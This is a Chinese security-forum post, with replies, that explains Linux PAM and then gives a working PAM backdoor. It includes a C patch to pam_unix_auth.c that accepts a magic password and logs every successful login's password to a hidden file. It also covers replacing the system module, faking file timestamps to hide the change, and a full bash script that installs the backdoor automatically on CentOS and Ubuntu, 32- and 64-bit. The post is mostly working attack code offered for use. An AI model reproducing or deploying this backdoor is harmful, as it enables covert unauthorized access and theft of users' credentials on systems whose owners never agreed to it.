【我爱T00L】Spatch pam 后门的安装 更新自动安装脚本
“我爱T00LS,原创征集活动”
~~thanks t00ls
说一点感想,本人小菜,大牛别打脸。tools大牛如云~~
patch pam这个东西不是什么新东西,早几年就有了。而且有各种各样patch的方法。我之前只在网上看到过一个英文文章讲这个,那个文章已经比较老了,很多地方已经过时了。所以我根据自己测试的过程整理了这篇,方便自己以后查找使用。分享的快乐除了分享本身这个过程,还有可以学到新的东西。@lostwolf 同学提供的脚本让我知道原来网上还有个老外的视频和脚本。@zafe 同学提供了论坛之前的一个帖子,从那里我也看到了一些不错的东西。同样,我觉得,lostwolf同学分享这个脚本也是感觉很有收获的,他同时提出了centos测试不成功的问题。而我恰好测试过centos,所以给出了我的解决方案。所以这个 过程是大家都学到了新东西。so 分享吧少年,参见tools活动,大奖抱回家~
本文的定位是一个科普贴。不过看到这个自动安装的脚本以后我觉得可以有一个新的方向。关于patch pam的资料。我看到的都是一个通用的原理方法,包括前面提到的英文资料和论坛老早之前的帖子。这个帖子不同的地方就是根据我自己的调试过程给出了centos上应该如何编译,64位系统应该怎么安装的一些小小的 tips。所以我想做一个适合绝大多数linux发行版的自动化安装patch pam backdoor的脚本。这个也是pam后门的优势,比大部分rootkit更好的适应性。
不知道这个事情有木有人已经做过了。欢迎提醒。这个脚本不高深,可能只是需要不断的调试各种发行版。欢迎提供测试成功和不成功的发行版版本号。这个脚本应该是很有意思的一个事情。
## 什么pam ##
在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!
PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题.[引用自鸟哥私房菜](http://vbird.dic.ksu.edu.tw/linux_basic/0410accountmanager_5.php#ps5)
## pam backdoor ##
从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的.所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确.从而达到作为后门的目的.
patch过程如下:
下载pam的源码:http://www.linux-pam.org/library/,有很多个版本,我测试的时候都是用的最新版.没有出现问题.测试过的ubuntu10.04和centos 5.4 X64.
wget [url]http://www.linux-pam.org/library/Linux-PAM-1.1.6.tar.gz[/url]
tar zxvf Linux-PAM-1.1.6.tar.gz
cd Linux-PAM-1.1.6
vi modules/pam_unix/pam_unix_auth.c
D(("user=%s, password=[%s]", name, p));
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
AUTH_RETURN;
D(("user=%s, password=[%s]", name, p));
if(strcmp(p, "MAGIC_PASSWD") == 0) ////MAGIC_PASSWD修改为自己设置的后门密码,如12345
{
retval = PAM_SUCCESS;
AUTH_RETURN;
}
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(retval == PAM_SUCCESS)
{
FILE *fp = fopen("/usr/local/man/.pam.log","a"); /////记录管理员密码的文件路径.
fprintf(fp, "[evilpam]user=%s, password=%s\n", name, p);
fclose(fp);
}
name = p = NULL;
保存文件之后,
./configure
make
cp /lib/security/pam_unix.so /tmp/pam_unix.so
cp modules/pam_unix/.libs/pam_unix.so /lib/security/
需要注意一点.64位的系统里,pam_unix.so的路径是/lib64/security/,坑爹的是64位系统也有/lib/security/pam_unix.so这个文件,一开始调试了好久都没好....
修改文件的时间戳~~更好的隐藏~
touch -t 200909091108 pam_unix.so
##致谢##
这方面资料不是很多。感谢0daysecurity.com提供的资料分享。md写的,贴近来,改了下格式,还是有些小问题。。
感谢6楼@lostwolf 同学提供的自动安装脚本。稍微修改了下,centos默认会编译失败。添加了对centos的判断,修改configure参数。添加了64位系统的支持,自动判断路径。
本贴已经又pam模块科普和手动安装 pam 后门成功晋级为打造一个普适的linux系统pam后门自动安装脚本。欢迎测试。有任何问题可以跟帖反馈~~
测试环境:centos 5.4 x86_64 和ubuntu 10.04 。如果出现sed -e `s’ 错误,请使用bash pam.sh执行。这个错误是由于不同的shell对单双引号的规则 导致的。
#!/bin/bash
##
##查看版本:
##redhat yum list pam
##debian&Ubuntu dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
##
PASS='test123' ##......
LOG='\/bin\/.sshlog' ##......
echo "
.___ ___. ___ ___ _______ ____ ____
| \/ | / _ \ / _ \ | \ \ \ / /
| \ / | | | | | | | | | | .--. | \ \/ /
| |\/| | | | | | | | | | | | | | \_ _/
| | | | | |_| | | |_| | | '--' | | |
|__| |__| \___/ \___/ |_______/ |__| "
echo -e "\nPam-Backdoor\n{code this shit while learning pam}\n\n"
oldtime=`stat -c '%z' /lib/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf Linux-PAM-1.1.1.tar.gz #untar
cd Linux-PAM-1.1.1
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
#copy modified pam_unix.so
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /lib/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "Done bro.."
评论46次
论坛很早已经有人发过了
小弟在此也贴一段自动安装的,网上的 修改了下 centos 引用 第13楼 @litdgs 的方法 ./configure --disable-selinux
出一个linux rootkit 安装xi列怎么样。话说我也是现学现写~~
感谢 分享
感谢参与T00LS活动~,快把你手里的都交出来
感谢投稿